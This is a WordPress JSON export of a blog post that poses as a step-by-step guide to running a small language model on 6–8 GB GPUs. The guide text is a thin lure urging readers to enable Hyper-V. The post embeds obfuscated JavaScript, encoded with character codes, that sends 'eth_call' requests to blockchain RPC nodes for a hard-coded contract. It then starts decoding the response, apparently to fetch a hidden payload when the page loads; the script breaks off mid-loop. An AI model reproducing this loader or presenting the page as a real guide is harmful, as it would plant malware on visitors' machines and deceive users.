{"id":8337,"date":"2026-07-05T03:30:57","date_gmt":"2026-07-04T19:30:57","guid":{"rendered":"https:\/\/eps.org.tw\/?p=8337"},"modified":"2026-07-05T03:30:57","modified_gmt":"2026-07-04T19:30:57","slug":"deploy-tiny-gptossforcausallm-for-low-vram-6gb-8gb-step-by-step","status":"publish","type":"post","link":"https:\/\/eps.org.tw\/8337\/deploy-tiny-gptossforcausallm-for-low-vram-6gb-8gb-step-by-step","title":{"rendered":"Deploy tiny-GptOssForCausalLM For Low VRAM (6GB\/8GB) Step-by-Step"},"content":{"rendered":"

\"Deploy<\/p>\n

The shortest path<\/i> to running this model is by activating Hyper-V features<\/b>.<\/p>\n

Follow the sequence of steps<\/b> detailed below.<\/p>\n

<\/p>\n

The engine will automatically fetch large dependencies in the background.<\/i><\/p>\n

<\/p>\n

The initial setup handles the heavy lifting, fine-tuning the environment for your device<\/b>.<\/p>\n\n\n
\n
\n
\ud83d\udd0d Hash-sum: ed01f89d82162feb1b56384e4e3ba019 | \ud83d\udd53 Last update: 2026-07-02<\/div>\n\n\n
Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<\/p>\n
<\/canvas>